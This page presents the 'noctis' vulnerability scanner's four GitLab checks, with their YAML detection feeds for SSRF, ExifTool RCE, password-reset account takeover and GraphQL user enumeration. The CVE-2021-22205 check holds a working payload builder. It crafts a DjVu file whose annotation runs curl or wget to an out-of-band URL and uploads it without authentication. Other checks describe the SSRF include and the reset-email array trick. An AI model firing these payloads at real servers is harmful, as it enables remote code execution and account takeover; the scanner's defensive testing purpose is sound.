GitLab — 4 vulnerability checks

noctis ships 4 vulnerability checks for GitLab, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GitLab CE/EE CI Lint API SSRF via Remote Include

CVECVE-2021-22175
Severitycritical · CVSS 9.8
Categoryssrf — SSRF
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/gitlab/CVE-2021-22175.yaml

Loads the GitLab sign-in page to confirm the product and to see whether self sign-up is open, then posts an inert pipeline definition to the CI Lint API without credentials. When sign-up is disabled and password sign-in is offered, a fixed GitLab answers 401; an affected one lints the content anyway, which is the unauthenticated access to the remote-include fetcher behind the SSRF. With OOB enabled, a second lint request includes a remote file on the callback URL and the finding is confirmed when GitLab fetches it. Instances with open sign-up are not reported: there, fixed releases also accept anonymous lint requests by design.

How noctis detects it

  1. HTTP(S) request GET /users/sign_in
  2. Checks signin.body for GitLab
  3. Checks signin.body for #register-pane|/users/sign_up
  4. Checks signin.body for user\[password\]
  5. HTTP(S) request POST /api/v4/ci/lint with a crafted body
  6. Checks lint.body for "status":\s*"(valid|invalid)" → finding QoD 75: Sign-up is disabled, yet an unauthenticated POST /api/v4/ci/lint was linted (a fixed GitLab answers 401): …
  7. HTTP(S) request POST /api/v4/ci/lint with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: GitLab fetched the remote CI include from … on an unauthenticated CI Lint request (CVE-2021-22175)
Feed source — tests/vulnerabilities/gitlab/CVE-2021-22175.yaml
uid: e4ec02ee-fb71-4177-9c8a-c04d02892486
name: "GitLab CE/EE CI Lint API SSRF via Remote Include (CVE-2021-22175)"
description: "Loads the GitLab sign-in page to confirm the product and to see whether self sign-up is open, then posts an inert pipeline definition to the CI Lint API without credentials. When sign-up is disabled and password sign-in is offered, a fixed GitLab answers 401; an affected one lints the content anyway, which is the unauthenticated access to the remote-include fetcher behind the SSRF. With OOB enabled, a second lint request includes a remote file on the callback URL and the finding is confirmed when GitLab fetches it. Instances with open sign-up are not reported: there, fixed releases also accept anonymous lint requests by design."
cves: [CVE-2021-22175]
cvss: 9.8
severity: critical
category: ssrf
confidence_base: 0.30
tags: [ssrf, oob, gitlab, ci, kev]
services: [http, https]
author: noctis
version: "1.1.0"

# The fix (13.6.7 / 13.7.7 / 13.8.4) makes POST /api/v4/ci/lint answer 401 to every
# anonymous caller; from 13.9.1 on (lib/api/lint.rb) anonymous callers are accepted
# again when self sign-up is open. The sign-in page shows the Register tab /
# "Register now" link (/users/sign_up) only when allow_signup? is true, i.e.
# signup_enabled? && password_authentication_enabled_for_web?, so the probe also
# needs the password form (user[password]): an SSO-only page proves nothing about
# sign-up.

steps:
  - id: init-gl
    action: set_var
    var_name: gl_ok
    var_value: false

  - id: init-signup
    action: set_var
    var_name: signup_open
    var_value: false

  - id: init-pw
    action: set_var
    var_name: pw_form
    var_value: false

  - id: init-lint
    action: set_var
    var_name: lint_vuln
    var_value: false

  - id: signin
    action: http_request
    method: GET
    path: "/users/sign_in"
    port: "{{port}}"
    tls_insecure: true
    store_as: signin

  - id: fingerprint
    action: match
    source: signin.body
    pattern: "GitLab"
    condition: "signin.status == 200"
    on_match:
      set_vars:
        gl_ok: true

  - id: signup-check
    action: match
    source: signin.body
    pattern: '#register-pane|/users/sign_up'
    condition: "gl_ok"
    on_match:
      set_vars:
        signup_open: true

  - id: password-form
    action: match
    source: signin.body
    pattern: 'user\[password\]'
    condition: "gl_ok && !signup_open"
    on_match:
      set_vars:
        pw_form: true

  - id: lint
    action: http_request
    method: POST
    path: "/api/v4/ci/lint"
    port: "{{port}}"
    tls_insecure: true
    headers:
      Content-Type: "application/json"
    body: "{\"content\":\"noctis_lint_probe:\\n  script: [\\\"true\\\"]\\n\"}"
    condition: "gl_ok && !signup_open && pw_form"
    store_as: lint

  - id: lint-unauthenticated
    action: match
    source: lint.body
    pattern: '"status":\s*"(valid|invalid)"'
    condition: "gl_ok && !signup_open && pw_form && lint.status == 200"
    on_match:
      set_vars:
        lint_vuln: true
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Sign-up is disabled, yet an unauthenticated POST /api/v4/ci/lint was linted (a fixed GitLab answers 401): {{lint.body}}"

  - id: oob-probe
    action: http_request
    method: POST
    path: "/api/v4/ci/lint"
    port: "{{port}}"
    tls_insecure: true
    headers:
      Content-Type: "application/json"
    body: "{\"include_merged_yaml\":true,\"content\":\"include:\\n  - remote: '{{oob_url}}'\\n\"}"
    condition: "lint_vuln && oob_enabled"
    store_as: lint_oob

  - id: oob-receive
    action: wait_oob
    condition: "lint_vuln && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "GitLab fetched the remote CI include from {{oob_url}} on an unauthenticated CI Lint request (CVE-2021-22175)"
      stop: true

GitLab CE/EE Pre-Auth RCE via ExifTool Image Processing

CVECVE-2021-22205
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, set_var, match, script, tcp_open, tcp_send, tcp_close, wait_oob · highest QoD 97
Feedtests/vulnerabilities/gitlab/CVE-2021-22205.yaml

With OOB enabled, uploads to /uploads/user, without authentication, a small DjVu file named .jpg whose annotation chunk holds a command that fetches the OOB URL: a vulnerable GitLab passes the file to ExifTool, which runs the command while stripping metadata, before the upload is rejected with 422 (nothing is stored). The callback confirms code execution. Otherwise, reads the versioned CSS asset hash on the sign-in page and reports when it matches a release in the vulnerable range (11.9.0 to 13.10.2), unless the build revision the page publishes is that of a fixed 13.8.8, 13.9.6, 13.9.7, 13.10.3, 13.10.4 or 13.10.5 release sharing the same stylesheet.

How noctis detects it

  1. HTTP(S) request GET /users/sign_in
  2. Checks signin_resp.body for <meta name="csrf-token" content="[^"]+"
  3. Parses / computes the next value with a Rhai script
  4. Opens a persistent TCP/TLS socket
  5. Sends a binary frame on the open socket
  6. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: GitLab ExifTool pre-auth RCE confirmed (CVE-2021-22205)
  7. Parses / computes the next value with a Rhai script
  8. Checks signin_resp.body for application-(?:015d088713b23c749d8be0118caeb21039491d9812c75c913f48d5… → finding QoD 70: GitLab sign-in page contains a versioned CSS hash matching a known-vulnerable release (11.9.0–13.10.2). These versions are exploitable via …

References:

Feed source — tests/vulnerabilities/gitlab/CVE-2021-22205.yaml
# GitLab CE/EE pre-auth RCE through ExifTool — CVE-2021-22205
#
# GitLab Workhorse strips EXIF data from every uploaded file named *.jpg / *.jpeg /
# *.tiff by running ExifTool on it, before Rails authenticates the request (the
# /uploads/ route skips the Rails authorizer). Vulnerable releases (11.9 to
# 13.8.7, 13.9.5, 13.10.2) chose that path from the file NAME only, so a DjVu file
# named .jpg reached ExifTool, whose DjVu annotation parser (CVE-2021-22204) evals
# the text of an ANTa chunk as a Perl string: a "\<newline>" escape closes the
# quoted string and the rest — a qx{} — runs as a shell command. Fixed releases
# check the content type first and never pass a DjVu file to ExifTool.
#
# Detection:
#   - OOB only, on any GitLab sign-in page: POST /uploads/user with a 120-byte DjVu
#     named <random>.jpg whose ANTa chunk runs `curl -s {{oob_url}}` (wget fallback).
#     The request carries no session, so Rails rejects it with 422 and nothing is
#     stored; ExifTool has already run in Workhorse by then. A callback proves code
#     execution (QoD 97). Sent to every GitLab, not only to the hashes below, so a
#     build missing from the list is still caught.
#   - Fallback: the versioned application CSS hash of the sign-in page matches a
#     release in the vulnerable range (QoD 70), unless gon.revision is the release
#     commit of a fixed patch release sharing that hash (CE: github.com/gitlabhq/
#     gitlabhq vX.Y.Z, EE: gitlab.com/gitlab-org/gitlab vX.Y.Z-ee peeled tags:
#     13.8.8, 13.9.6, 13.9.7, 13.10.3, 13.10.4, 13.10.5).
#
# Verified on official gitlab/gitlab-ce:13.10.1-ce.0 (callback) and 13.10.3-ce.0
# (no callback).
uid: a756c788-3ba5-4c6d-8615-2e7d84118fb8
name: "GitLab CE/EE Pre-Auth RCE via ExifTool Image Processing"
description: "With OOB enabled, uploads to /uploads/user, without authentication, a small DjVu file named .jpg whose annotation chunk holds a command that fetches the OOB URL: a vulnerable GitLab passes the file to ExifTool, which runs the command while stripping metadata, before the upload is rejected with 422 (nothing is stored). The callback confirms code execution. Otherwise, reads the versioned CSS asset hash on the sign-in page and reports when it matches a release in the vulnerable range (11.9.0 to 13.10.2), unless the build revision the page publishes is that of a fixed 13.8.8, 13.9.6, 13.9.7, 13.10.3, 13.10.4 or 13.10.5 release sharing the same stylesheet."
cves: [CVE-2021-22205]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.10
tags:
  - gitlab
  - rce
  - exiftool
  - kev
  - oob
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-22205"
  - "https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/"
  - "https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html"

steps:
  - id: sign-in-probe
    action: http_request
    method: GET
    path: "/users/sign_in"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 12
    headers:
      Accept: "text/html"
    store_as: signin_resp

  - id: init-vars
    action: set_var
    var_name: is_gitlab
    var_value: false

  - id: gitlab-fingerprint
    action: match
    source: signin_resp.body
    pattern: '<meta name="csrf-token" content="[^"]+"'
    condition: "signin_resp.status == 200 && stridx(signin_resp.body, \"GitLab\") >= 0"
    on_match:
      set_vars:
        is_gitlab: true

  # Raw multipart request, built as hex: DjVu = "AT&TFORM" + u32 size + "DJVU" +
  # INFO (10 bytes: 1x1 px, v24, 300 dpi) + ANTa (the annotation, padded to even).
  # The CSRF token and the session cookie of the sign-in page are sent along, as
  # a browser would; Workhorse runs ExifTool whether Rails then accepts them or not.
  - id: build-upload
    action: script
    condition: "is_gitlab == true && oob_enabled"
    store_as: upload_req
    code: |
      let cmd = "curl -s " + oob_url + " || wget -q -O- " + oob_url;
      let ant = "(metadata\n\t(Copyright \"\\\n\" . qx{" + cmd + "} . \\\" b \") )\n";
      let ant_hex = hexstr(ant);
      if strlen(ant) % 2 == 1 { ant_hex += "00"; }
      let chunks = hexstr("DJVU") + hexstr("INFO") + p32be(10) + "0001000118002c011601"
        + hexstr("ANTa") + p32be(strlen(ant)) + ant_hex;
      let djvu = hexstr("AT&TFORM") + p32be(strlen(chunks) / 2) + chunks;
      let boundary = "----noctis" + rand_hex(8);
      let body = hexstr("--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\""
        + rand_str(8) + ".jpg\"\r\nContent-Type: image/jpeg\r\n\r\n")
        + djvu + hexstr("\r\n--" + boundary + "--\r\n");
      let extra = "";
      let tok = eregmatch("<meta name=\"csrf-token\" content=\"([^\"]+)\"", signin_resp.body);
      if tok.len() == 2 { extra += "X-CSRF-Token: " + tok[1] + "\r\n"; }
      let sc = signin_resp.headers["set-cookie"];
      if type_of(sc) == "string" {
        let ck = eregmatch("(_gitlab_session=[^;]+)", sc);
        if ck.len() == 2 { extra += "Cookie: " + ck[1] + "\r\n"; }
      }
      hexstr("POST /uploads/user HTTP/1.1\r\nHost: " + target_host + ":" + port
        + "\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n" + extra
        + "Content-Type: multipart/form-data; boundary=" + boundary
        + "\r\nContent-Length: " + (strlen(body) / 2) + "\r\nConnection: close\r\n\r\n") + body

  - id: open-upload
    action: tcp_open
    handle: up
    port: "{{port}}"
    timeout_secs: 10
    condition: "is_gitlab == true && oob_enabled"
    store_as: up_conn

  - id: send-upload
    action: tcp_send
    handle: up
    send_hex: "{{upload_req}}"
    timeout_secs: 10
    condition: "is_gitlab == true && oob_enabled && up_conn.connected == true"
    store_as: upload_resp

  - id: close-upload
    action: tcp_close
    handle: up

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    store_as: oob_result
    condition: "is_gitlab == true && oob_enabled && up_conn.connected == true && upload_resp.sent == true"
    on_success:
      finding:
        title: "GitLab ExifTool pre-auth RCE confirmed (CVE-2021-22205)"
        confidence_delta: 0.85
        qod: 97
        evidence: "An unauthenticated upload of a DjVu file named .jpg to /uploads/user made GitLab run the command in its annotation chunk through ExifTool: the host fetched the OOB URL (CVE-2021-22205)"
      stop: true

  # The CSS hash does not change between patch releases of one minor version, so
  # the fixed 13.8.8, 13.9.6+ and 13.10.3+ serve the hash of the vulnerable
  # 13.8.x / 13.9.x / 13.10.x they patch. gon.revision (the release commit, sent
  # with Accept: text/html) tells them apart: these fixed builds are not reported.
  - id: fixed-build
    action: script
    condition: "signin_resp.status == 200"
    store_as: fixed_build
    code: |
      let body = if type_of(signin_resp.body) == "string" { signin_resp.body } else { "" };
      let m = eregmatch("gon\\.revision=\"([0-9a-f]{11})\"", body);
      let rev = if m.len() > 1 { m[1] } else { "" };
      let fixed = [
        "b419abb3b4a", "5760c3c5919",
        "c80628262aa", "fa395d88d52",
        "05f9b5a73c8", "55effbbba52",
        "b1774ad36a9", "db2e358dba4",
        "e11cc45d59e", "fcf9700aae7",
        "9c60e33f583", "7327f6c9bf4"
      ];
      rev != "" && fixed.contains(rev)

  - id: hash-match
    action: match
    source: signin_resp.body
    pattern: "application-(?:015d088713b23c749d8be0118caeb21039491d9812c75c913f48d53559ab09df|02aa9533ec4957bb01d206d6eaa51d762c7b7396362f0f7a3b5fb4dd6088745b|051048a171ccf14f73419f46d3bd8204aa3ed585a72924faea0192f53d42cfce|08858ced0ff83694fb12cf155f6d6bf450dcaae7192ea3de8383966993724290|0993beabc8d2bb9e3b8d12d24989426b909921e20e9c6a704de7a5f1dfa93c59|0a5b4edebfcb0a7be64edc06af410a6fbc6e3a65b76592a9f2bcc9afea7eb753|1084266bd81c697b5268b47c76565aa86b821126a6b9fe6ea7b50f64971fc96f|14c313ae08665f7ac748daef8a70010d2ea9b52fd0cae594ffa1ffa5d19c43f4|1626b2999241b5a658bddd1446648ed0b9cc289de4cc6e10f60b39681a0683c4|20f01320ba570c73e01af1a2ceb42987bcb7ac213cc585c187bec2370cf72eb6|27d2c4c4e2fcf6e589e3e1fe85723537333b087003aa4c1d2abcf74d5c899959|292ca64c0c109481b0855aea6b883a588bd293c6807e9493fc3af5a16f37f369|2eaf7e76aa55726cc0419f604e58ee73c5578c02c9e21fdbe7ae887925ea92ae|30a9dffe86b597151eff49443097496f0d1014bb6695a2f69a7c97dc1c27828f|318ee33e5d14035b04832fa07c492cdf57788adda50bb5219ef75b735cbf00e2|33313f1ff2602ef43d945e57e694e747eb00344455ddb9b2544491a3af2696a1|335f8ed58266e502d415f231f6675a32bb35cafcbaa279baa2c0400d4a9872ac|34031b465d912c7d03e815c7cfaff77a3fa7a9c84671bb663026d36b1acd3f86|3407a4fd892e9d5024f3096605eb1e25cad75a8bf847d26740a1e6a77e45b087|340c31a75c5150c5e501ec143849adbed26fed0da5a5ee8c60fb928009ea3b86|38981e26a24308976f3a29d6e5e2beef57c7acda3ad0d5e7f6f149d58fd09d3d|3963d28a20085f0725884e2dbf9b5c62300718aa9c6b4b696c842a3f4cf75fcd|39b154eeefef684cb6d56db45d315f8e9bf1b2cc86cf24d8131c674521f5b514|39fdbd63424a09b5b065a6cc60c9267d3f49950bf1f1a7fd276fe1ece4a35c09|3b51a43178df8b4db108a20e93a428a889c20a9ed5f41067d1a2e8224740838e|3cbf1ae156fa85f16d4ca01321e0965db8cfb9239404aaf52c3cebfc5b4493fb|40d8ac21e0e120f517fbc9a798ecb5caeef5182e01b7e7997aac30213ef367b3|4448d19024d3be03b5ba550b5b02d27f41c4bdba4db950f6f0e7136d820cd9e1|450cbe5102fb0f634c533051d2631578c8a6bae2c4ef1c2e50d4bfd090ce3b54|455d114267e5992b858fb725de1c1ddb83862890fe54436ffea5ff2d2f72edc8|4568941e60dbfda3472e3f745cd4287172d4e6cce44bed85390af9e4e2112d0b|45b2cf643afd34888294a073bf55717ea00860d6a1dca3d301ded1d0040cac44|473ef436c59830298a2424616d002865f17bb5a6e0334d3627affa352a4fc117|4990bb27037f3d5f1bffc0625162173ad8043166a1ae5c8505aabe6384935ce2|4a081f9e3a60a0e580cad484d66fbf5a1505ad313280e96728729069f87f856e|4abc4e078df94075056919bd59aed6e7a0f95067039a8339b8f614924d8cb160|504940239aafa3b3a7b49e592e06a0956ecaab8dbd4a5ea3a8ffd920b85d42eb|52560ba2603619d2ff1447002a60dcb62c7c957451fb820f1894e1ce7c23821c|530a8dd34c18ca91a31fbae2f41d4e66e253db0343681b3c9640766bf70d8edf|5440e2dd89d3c803295cc924699c93eb762e75d42178eb3fe8b42a5093075c71|62e4cc014d9d96f9cbf443186289ffd9c41bdfe951565324891dcf38bcca5a51|64e10bc92a379103a268a90a7863903eacb56843d8990fff8410f9f109c3b87a|655ad8aea57bdaaad10ff208c7f7aa88c9af89a834c0041ffc18c928cc3eab1f|67ac5da9c95d82e894c9efe975335f9e8bdae64967f33652cd9a97b5449216d2|69a1b8e44ba8b277e3c93911be41b0f588ac7275b91a184c6a3f448550ca28ca|6ae610d783ba9a520b82263f49d2907a52090fecb3ac37819cea12b67e6d94fb|70ce56efa7e602d4b127087b0eca064681ecdd49b57d86665da8b081da39408b|7310c45f08c5414036292b0c4026f281a73cf8a01af82a81257dd343f378bbb5|73a21594461cbc9a2fb00fc6f94aec1a33ccf435a7d008d764ddd0482e08fc8d|77566acc818458515231d0a82c131a42890d771ea998b9f578dc38e0eb7e517f|78812856e55613c6803ecb31cc1864b7555bf7f0126d1dfa6f37376d37d3aeab|79837fd1939f90d58cc5a842a81120e8cecbc03484362e88081ebf3b7e3830e9|7b1dcbacca4f585e2cb98f0d48f008acfec617e473ba4fd88de36b946570b8b9|7f1c7b2bfaa6152740d453804e7aa380077636cad101005ed85e70990ec20ec5|81c5f2c7b2c0b0abaeb59585f36904031c21b1702c24349404df52834fbd7ad3|83dc10f687305b22e602ba806619628a90bd4d89be7c626176a0efec173ecff1|93ebf32a4bd988b808c2329308847edd77e752b38becc995970079a6d586c39b|969119f639d0837f445a10ced20d3a82d2ea69d682a4e74f39a48a4e7b443d5e|9b4e140fad97320405244676f1a329679808e02c854077f73422bd8b7797476b|9c095c833db4364caae1659f4e4dcb78da3b5ec5e9a507154832126b0fe0f08e|a0c92bafde7d93e87af3bc2797125cba613018240a9f5305ff949be8a1b16528|a9308f85e95b00007892d451fd9f6beabcd8792b4c5f8cd7524ba7e941d479c9|ac9b38e86b6c87bf8db038ae23da3a5f17a6c391b3a54ad1e727136141a7d4f5|ae0edd232df6f579e19ea52115d35977f8bdbfa9958e0aef2221d62f3a39e7d8|aeddf31361633b3d1196c6483f25c484855e0f243e7f7e62686a4de9e10ec03b|b50bfeb87fe7bb245b31a0423ccfd866ca974bc5943e568ce47efb4cd221d711|b64a1277a08c2901915525143cd0b62d81a37de0a64ec135800f519cb0836445|bb1565ffd7c937bea412482ed9136c6057be50356f1f901379586989b4dfe2ca|be9a23d3021354ec649bc823b23eab01ed235a4eb730fd2f4f7cdb2a6dee453a|bec9544b57b8b2b515e855779735ad31c3eacf65d615b4bfbd574549735111e7|bf1ba5d5d3395adc5bad6f17cc3cb21b3fb29d3e3471a5b260e0bc5ec7a57bc4|bf1c397958ee5114e8f1dadc98fa9c9d7ddb031a4c3c030fa00c315384456218|c8d8d30d89b00098edab024579a3f3c0df2613a29ebcd57cdb9a9062675558e4|c923fa3e71e104d50615978c1ab9fcfccfcbada9e8df638fc27bf4d4eb72d78c|d0850f616c5b4f09a7ff319701bce0460ffc17ca0349ad2cf7808b868688cf71|d161b6e25db66456f8e0603de5132d1ff90f9388d0a0305d2d073a67fd229ddb|d56f0577fbbbd6f159e9be00b274270cb25b60a7809871a6a572783b533f5a3c|d812b9bf6957fafe35951054b9efc5be6b10c204c127aa5a048506218c34e40f|dc6b3e9c0fad345e7c45a569f4c34c3e94730c33743ae8ca055aa6669ad6ac56|def1880ada798c68ee010ba2193f53a2c65a8981871a634ae7e18ccdcd503fa3|e2578590390a9eb10cd65d130e36503fccb40b3921c65c160bb06943b2e3751a|e4b6f040fe2e04c86ed1f969fc72710a844fe30c3501b868cb519d98d1fe3fd0|eb078ffe61726e3898dc9d01ea7955809778bde5be3677d907cbd3b48854e687|ec9dfedd7bd44754668b208858a31b83489d5474f7606294f6cc0128bb218c6d|ed4780bb05c30e3c145419d06ad0ab3f48bd3004a90fb99601f40c5b6e1d90fd|ef53a4f4523a4a0499fb892d9fb5ddb89318538fef33a74ce0bf54d25777ea83|f154ef27cf0f1383ba4ca59531058312b44c84d40938bc8758827023db472812|f7d1309f3caef67cb63bd114c85e73b323a97d145ceca7d6ef3c1c010078c649|f9ab217549b223c55fa310f2007a8f5685f9596c579f5c5526e7dcb204ba0e11)\\.css"
    condition: "signin_resp.status == 200 && fixed_build == false"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 70
        evidence: "GitLab sign-in page contains a versioned CSS hash matching a known-vulnerable release (11.9.0–13.10.2). These versions are exploitable via CVE-2021-22205 (ExifTool pre-auth RCE)."

GitLab CE/EE account takeover via password reset email to an unverified address

CVECVE-2023-7028
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, script, match · highest QoD 70
Feedtests/vulnerabilities/gitlab/CVE-2023-7028.yaml

Fetches the GitLab sign-in page as HTML and reads the build revision GitLab publishes in its gon.revision page variable. The finding is reported when that revision is the release commit of an affected version (16.1.0 to 16.1.5, 16.2.0 to 16.2.8, 16.3.0 to 16.3.6, 16.4.0 to 16.4.4, 16.5.0 to 16.5.4, 16.6.0 to 16.6.2, 16.7.0), CE or EE. No password reset is requested, so no email is sent.

How noctis detects it

  1. HTTP(S) request GET /users/sign_in
  2. Parses / computes the next value with a Rhai script
  3. Checks build.vulnerable for ^true$ → finding QoD 70: GitLab gon.revision … is the release commit of … (affected releases: 16.1.0-16.1.5, 16.2.0-16.2.8, 16.3.0-16.3.6, 16.4.0-16.4.4, 16.5.0-16.…

References:

Feed source — tests/vulnerabilities/gitlab/CVE-2023-7028.yaml
# GitLab CVE-2023-7028 — password reset email sent to an unverified address.
#
# The bug: RecoverableByAnyEmail passed the user[email] parameter straight to
# send_reset_password_instructions(to: email), so an array (user[email][]=victim
# &user[email][]=attacker) got the reset link mailed to every address. The only
# observable difference is the reset mail itself: the HTTP reply to
# POST /users/password is the same 302 to the sign-in page on fixed and
# vulnerable releases (Devise paranoid mode), so the reply status proves
# nothing and sending a real reset would mail the victim (#2394).
#
# Detection: the exact build. Every GitLab HTML page served with Accept: text/html
# carries gon.revision = the 11-hex short SHA of the commit the release was built
# from (lib/gitlab/gon_helper.rb, file REVISION), unauthenticated. The table below
# lists the peeled tag commits of every affected release (CE: github.com/gitlabhq/
# gitlabhq vX.Y.Z, EE: gitlab.com/gitlab-org/gitlab vX.Y.Z-ee): 16.1.0–16.1.5,
# 16.2.0–16.2.8, 16.3.0–16.3.6, 16.4.0–16.4.4, 16.5.0–16.5.4, 16.6.0–16.6.2,
# 16.7.0 (16.5.5, 16.6.3 and 16.7.1 were never tagged or published). Checked on
# the official gitlab/gitlab-ce 16.7.0-ce.0 (0fb7483d0df, vulnerable) and
# 16.7.2-ce.0 (3c9094d88ea, fixed) images, and gitlab-ee 16.7.0-ee.0 REVISION.
# A revision outside the table (fixed release, other version, custom build) gives
# no finding.
uid: 5e333831-e292-49b4-b093-d44c4743ccb6
name: "GitLab CE/EE account takeover via password reset email to an unverified address"
description: "Fetches the GitLab sign-in page as HTML and reads the build revision GitLab publishes in its gon.revision page variable. The finding is reported when that revision is the release commit of an affected version (16.1.0 to 16.1.5, 16.2.0 to 16.2.8, 16.3.0 to 16.3.6, 16.4.0 to 16.4.4, 16.5.0 to 16.5.4, 16.6.0 to 16.6.2, 16.7.0), CE or EE. No password reset is requested, so no email is sent."
cves: [CVE-2023-7028]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags:
  - gitlab
  - account-takeover
  - password-reset
  - version-check
  - kev
services:
  - http
  - https
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-7028"
  - "https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/"
  - "https://gitlab.com/gitlab-org/gitlab/-/issues/436084"

steps:
  # gon variables are only rendered for an HTML request (html_request?), so the
  # Accept header is required; the default */* gets window.gon={} only.
  - id: probe-signin
    action: http_request
    method: GET
    path: "/users/sign_in"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 15
    headers:
      Accept: "text/html"
    store_as: signin_resp

  - id: revision
    action: script
    condition: "signin_resp.status == 200"
    store_as: build
    code: |
      let body = if type_of(signin_resp.body) == "string" { signin_resp.body } else { "" };
      let gitlab = ereg("gon\\.(gitlab_url|api_version)=", body);
      let m = eregmatch("gon\\.revision=\"([0-9a-f]{11})\"", body);
      let rev = if m.len() > 1 { m[1] } else { "" };
      let affected = #{
        "7b848eda558": "16.1.0-ce",
        "4961ad113f3": "16.1.0-ee",
        "9ce736bb2cd": "16.1.1-ce",
        "d3582d7719f": "16.1.1-ee",
        "e60fc11f2d3": "16.1.2-ce",
        "0642e8c5c91": "16.1.2-ee",
        "2f17089137f": "16.1.3-ce",
        "6bcf60f9a21": "16.1.3-ee",
        "d7a9df9157f": "16.1.4-ce",
        "191f3331afe": "16.1.4-ee",
        "84897d66505": "16.1.5-ce",
        "075efefa5f8": "16.1.5-ee",
        "be59e761f20": "16.2.0-ce",
        "3adc0fe6e7c": "16.2.0-ee",
        "3216f7a4aef": "16.2.1-ce",
        "6b31b6040be": "16.2.1-ee",
        "9a102b1b08b": "16.2.2-ce",
        "2e273e251ef": "16.2.2-ee",
        "6a407717a9c": "16.2.3-ce",
        "7ac2b0a343c": "16.2.3-ee",
        "deac0811459": "16.2.4-ce",
        "9544e5451d7": "16.2.4-ee",
        "098480e7f30": "16.2.5-ce",
        "16c20745a28": "16.2.5-ee",
        "590a0bee537": "16.2.6-ce",
        "3b1253063e4": "16.2.6-ee",
        "3e3b2b2ca86": "16.2.7-ce",
        "e220da8eb24": "16.2.7-ee",
        "94a23855897": "16.2.8-ce",
        "7fc27fe692a": "16.2.8-ee",
        "85a896db163": "16.3.0-ce",
        "3dfd4e0bcc7": "16.3.0-ee",
        "ea817127f2a": "16.3.1-ce",
        "67bb799df14": "16.3.1-ee",
        "88bbc405d6b": "16.3.2-ce",
        "fedb711c3d2": "16.3.2-ee",
        "75a03cfe6b0": "16.3.3-ce",
        "47fad2e77ee": "16.3.3-ee",
        "a86e56e774c": "16.3.4-ce",
        "f8f84c53318": "16.3.4-ee",
        "d53f6295ea7": "16.3.5-ce",
        "40d6bde8c59": "16.3.5-ee",
        "abc892a30ec": "16.3.6-ce",
        "128862473d1": "16.3.6-ee",
        "6d091758c4b": "16.4.0-ce",
        "e4c1c182610": "16.4.0-ee",
        "e6801ed8d44": "16.4.1-ce",
        "229bc5f5985": "16.4.1-ee",
        "67c88353b76": "16.4.2-ce",
        "385b9a2727a": "16.4.2-ee",
        "0cf5cc0917c": "16.4.3-ce",
        "7de773390b4": "16.4.3-ee",
        "85d0bb57cf7": "16.4.4-ce",
        "67af793e55b": "16.4.4-ee",
        "c4532d87456": "16.5.0-ce",
        "fc87c9d4cca": "16.5.0-ee",
        "d59d7a49a1f": "16.5.1-ce",
        "55da9ccb652": "16.5.1-ee",
        "0e7c00b8348": "16.5.2-ce",
        "54c8732b102": "16.5.2-ee",
        "6b5aa4eeafb": "16.5.3-ce",
        "8583797ef98": "16.5.3-ee",
        "ae6a184699a": "16.5.4-ce",
        "e61024519bb": "16.5.4-ee",
        "6d558d71eba": "16.6.0-ce",
        "94991886af3": "16.6.0-ee",
        "21d8cc00343": "16.6.1-ce",
        "9aa991a5ee9": "16.6.1-ee",
        "d2d66de7163": "16.6.2-ce",
        "fddcadf1869": "16.6.2-ee",
        "0fb7483d0df": "16.7.0-ce",
        "9e7d34f7ff1": "16.7.0-ee",
      };
      let hit = gitlab && rev != "" && rev in affected;
      #{
        vulnerable: hit,
        revision: rev,
        version: if hit { affected[rev] } else { "" }
      }

  - id: vuln-check
    action: match
    source: build.vulnerable
    pattern: "^true$"
    condition: "signin_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 70
        evidence: "GitLab gon.revision {{build.revision}} is the release commit of {{build.version}} (affected releases: 16.1.0-16.1.5, 16.2.0-16.2.8, 16.3.0-16.3.6, 16.4.0-16.4.4, 16.5.0-16.5.4, 16.6.0-16.6.2, 16.7.0; fixed in 16.1.6, 16.2.9, 16.3.7, 16.4.5, 16.5.6, 16.6.4, 16.7.2)"

GitLab GraphQL API Unauthenticated User Enumeration

CVECVE-2021-4191
Severitymedium · CVSS 5.3
Categoryexposure — Exposure
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/gitlab/CVE-2021-4191.yaml

Detects GitLab CE/EE instances (13.0 to 14.6.4, 14.7.0 to 14.7.3, 14.8.0 to 14.8.1) whose GraphQL API returns the user list to an unauthenticated `users` query (CVE-2021-4191). The feed runs that query, bounded to three users, and reports only when the reply carries GitLab user global ids and usernames, i.e. when the enumeration actually succeeded.

How noctis detects it

  1. HTTP(S) request POST /api/graphql with a crafted body
  2. Checks gql.body for "users"\s*:\s*\{\s*"nodes"\s*:\s*\[\s*\{\s*"id"\s*:\s*"gid://gitlab/U… → finding QoD 75: GitLab GraphQL user enumeration: an unauthenticated POST /api/graphql query{users(first:3){nodes{id username}}} returned GitLab user ids an…
  3. HTTP(S) request POST /gitlab/api/graphql with a crafted body
